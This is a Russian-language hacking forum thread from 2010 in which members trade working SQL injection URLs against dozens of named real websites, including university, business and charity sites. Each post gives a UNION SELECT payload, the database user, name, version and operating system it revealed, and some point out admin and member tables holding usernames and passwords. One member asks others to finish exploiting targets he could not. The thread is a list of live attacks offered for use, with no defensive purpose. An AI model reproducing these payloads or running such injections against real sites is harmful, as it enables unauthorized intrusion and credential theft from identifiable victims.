SQL Инъекции

Запомнить меня

Нет аккаунта? Регистрация

15.04.2010, 17:44

b82a

Участник форума

Регистрация: 07.02.2010

Сообщений: 111

С нами: 8556372

Репутация: 127

Код:

http://www.vanphathung.com/index.php?opt=user&act=prj&obj=info&id=-1%20UNION%20SELECt%201,2,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29%20--+

PR:5
User: vanphathun_CJXPD@localhost
Database: vanphathun_OIEW
Version: 5.0.67-community

𝕏 Twitter Reddit Telegram Копировать ссылку

15.04.2010, 17:45

CyberHunter

Постоянный

Регистрация: 06.01.2010

Сообщений: 785

С нами: 8602291

Репутация: 256

Код:

http://depts.washington.edu/chid/showprogram.php?id=19+union+select+1,2,3,4,5+--+

Version: 5.0.27-standard
User: browser@depts01.u.washington.edu
Database: chid

И вот еще одна:

Код:

http://art.uga.edu/people.php?id=19+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+--+

Кто может раскрутите до конца, а то что-то не получается

15.04.2010, 17:51

b82a

Участник форума

Регистрация: 07.02.2010

Сообщений: 111

С нами: 8556372

Репутация: 127

Код:

http://www.atomicforce.info/News.php?ID=-999%20UNION%20SELECT%201,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,3,4,5%20--+

PR:5
User: dbo251077112@212.227.127.134
Database: db251077112
Version: 4.0.27-max-log

15.04.2010, 18:14

Konqi

Постоянный

Регистрация: 24.06.2009

Сообщений: 542

С нами: 8885780

Репутация: 672

http://konyvtar.barczi.elte.hu/index.php?page_ID=-16+union+select+1&attr_ID=3

user() : rgyfkweb
version() : 5.0.51a-24
database() : bggyk_honl
OS : Debian

-----------------------------------------------------------------------------

http://www.pernillesams.dk/emne.php?caseid=-233+union+select+1,2,3,4,5,6,7,8,9--

user() : cbupdate@web3.dmz.esoft.dk
version() : 5.0.84-log
database() : www_pernillesamsdk
OS : pc-linux-gnu

-----------------------------------------------------------------------------
http://www.logstor.com/showpage.php?pageid=-2135976+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13 ,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,3 0,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46, 47,48--

version() : 5.0.27-community-nt
OS : Windows

----------------------------------------------------------------------------

http://www.annonces-dz.com/index.php?catid=-192+union+select+1,2--

user() : annonces_classif@localhost
version() : 5.0.90-community-log
database() : annonces_dz
OS : Linux

есть таблица "adz_user"

----------------------------------------------------------------------------

http://www.icewarm.com.au/page.php?pId=-227+union+select+1,2,3--

user() : dbwwwadmin@localhost
version() : 4.1.21
database() : icewarm
OS : slackware-linux

---------------------------------------------------------------------------
http://www.bahamascoop.org/article.php?es_id=-10+union+select+1,2,3,4,5,6,7,8,9,10,11,12--

user() : coop_coop@localhost
version() : 5.0.90-community-log
database() : coop_bahamascoop
OS : Linux

---------------------------------------------------------------------------

http://www.destinations.com.bs/package.php?es_id=-63+union+select+1,null,3,2,5,6,7,8,9,10,11,12,13,1 4,15,16,17,18,19,20--

user() : destinations@localhost
version() : 5.0.32-Debian_7etch6-log
database() : destinations_com_bs_-_cms
OS : Debian

есть таблицы "esnm_admin" "esnm_members"

--------------------------------------------------------------------------
http://www.mortarinvestments.eu/vehicle.php?id=-158+union+select+1,2,3,4,5,6,7,8--

user() : zbozi.mortarinvestments.eu@93.185.104.44
version() : 5.1.42-log
database() : zbozi_mortarinvestments_eu
OS : Linux

-------------------------------------------------------------------------

http://www.drinkaware.ie/index.php?sid=7&pid=-84+union+select+1,2,3,4,5,6,7--

user() : meas51_pixel@web5.hosting365.iem
version() : 5.0.45-community-log
database() : eas51_pixel
OS : pc-linux-gnu

результат в сорцах!

-------------------------------------------------------------------------

http://www.fourcourtspress.ie/product.php?intProductID=-292+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14, 15,16,17,18,19,20,21,22,23,24,25,26--

user() : fourcou_easyedit@web11.hosting365.ie
version() : 5.0.45-community-log
database() : fourcou_easyedit
OS : pc-linux-gnu

-------------------------------------------------------------------------
http://www.mcaleesemarine.com/boat-spec.php?id=-1008005+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13 ,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,3 0,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46, 47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62

user() : qtnvyqvd_mcalees@localhost
version() : 4.1.22-standard
database() : qtnvyqvd_main
OS : pc-linux-gnu

есть таблица "users"

------------------------------------------------------------------------

http://www.atireland.ie/aaate/php/people.php?id=6+and+substring(version(),1,1)=3

version() : 3

columns: 6

-----------------------------------------------------------------------
http://www.cultura2007.ro/document.php?doc=-2+union+select+1,2,3,4,5,6,7,8,9--

user() : root@localhost
version() : 5.0.22-community-nt
database() : cultura2007-ro
OS : Windows

-------------------------------------------------------------------------------
http://www.agenciapulsar.org/seccion.php?ids=-10+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,1 5,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31--

user() : agenciapulsar@192.168.0.180
version() : 5.0.22-log
database() : agenciapulsar
OS : pc-linux-gnu

есть таблица "piwik_user"

-------------------------------------------------------------------------------

http://www.cmtv.com.ar/biografia/show.php?bnid=-37+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,1 5,16,17,18--

user() : uv5639@localhost
version() : 5.0.51a-log
database() : uv5639_cmtv_web
OS : Linux
-------------------------------------------------------------------------------

http://www.estaciontierra.com/artistas/artista.php?id=-36+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--

user() : estacion_usuario@localhost
version() : 5.0.90-community
database() : estacion_estaciontierra
OS : Linux

15.04.2010, 18:35

b82a

Участник форума

Регистрация: 07.02.2010

Сообщений: 111

С нами: 8556372

Репутация: 127

Код:

http://www.venen-kur.info/index.php?id=1319&lang=-1%20UNION%20SELECT%201,2,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,4%20--+

User: dbo242799363@212.227.119.4
Database: db242799363
Version: 5.0.81-log

15.04.2010, 21:37

b82a

Участник форума

Регистрация: 07.02.2010

Сообщений: 111

С нами: 8556372

Репутация: 127

Цитата:

Сообщение от xcedz

ололо а понему спрашивали в разделе вопросы по уязвимостям

Жееесть!!

Хз, хз. И гугл, и поиск по форуму молчат

Код:

http://www.thaiware.com/main/info.php?id=-100500%20UnIon+selECt+1,2,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36+--+

PR:6
User: 4ever@localhost
Database: thaiware
Version: 4.1.22

Код:

http://estanet.info/details.php?section=wtar&id=-9000%20UNION%20SELECT%201,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,3,4,5,6,7%20--+

User: root@localhost
Database: website_db
Version: 5.0.51a-community

Код:

http://www.globalaab.com/aab/info/info_information_look.php?id=-999%20UNION%20SELECT%201,2,3,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,5,6,7,8,9,10,11,12,13,14,15,16,17%20--+

PR: 4
User: zm21d1@121.199.6.163
Database: zm21d1_db
Version: 4.0.27-log

Код:

http://www.chleb.info.pl/index.php?id=49%20UNION%20SELECT%201,2,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,4,5%20--+

PR: 4
User: chleb_chleb@86.111.241.221
Database: chleb_chleb
Version: 5.0.90-log

Последний раз редактировалось b82a; 15.04.2010 в 23:25..

15.04.2010, 21:22

av1

Участник форума

Регистрация: 06.10.2008

Сообщений: 165

С нами: 9260607

Репутация: 66

Код:

http://www.zipp.com/about/story.php?ID=-324+UNION+SELECT+1,2,3,4,5,6,7,8--

User: zipp@localhost
Version: 5.0.86
Database: Zipp

Google PR: 5

Код:

http://www.bzpower.com/story.php?ID=-2818+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14--

User: bzpower_bzpower@localhost
Version: 5.0.67-community
Database: bzpower_bzdatabase

Google PR: 5

Последний раз редактировалось av1; 15.04.2010 в 21:26..

16.04.2010, 06:26

Keltos

Iron Man#2

Регистрация: 08.07.2009

Сообщений: 2,084

С нами: 8865026

Репутация: 2562

Код:

http://www.sultan-backparadies.de/show_prod.php?id=-688+union+select+1,2,concat_ws(0x3a%20,user(),database(),version()),4,5,6,7,8,9/*

User: v099757@localhost
Version: 4.0.24-Max-log
Database: v099757

16.04.2010, 18:40

попугай

Познавший АНТИЧАТ

Регистрация: 15.01.2008

Сообщений: 1,166

С нами: 9642449

Репутация: 606

Цитата:

http://www.iran-interlink.org/fa/?mod=view&id=-7183+union+select+1,2,concat_ws(0x3a,user(),versio n(),database()),4,5,6,7,8,9--

iraninter@localhost:4.1.22:iraninterlink

#10

16.04.2010, 19:29

Konqi

Постоянный

Регистрация: 24.06.2009

Сообщений: 542

С нами: 8885780

Репутация: 672

http://www.discountcardubai.com/news_desc.php?id=-105+union+select+1,2,3,4,5,6--

user() : solitair_mdbuser@localhost
version() : 5.1.45-log
database() : solitair_discountdata
OS : CentOS

есть таблицы "admin" "member" (User_Name,Password)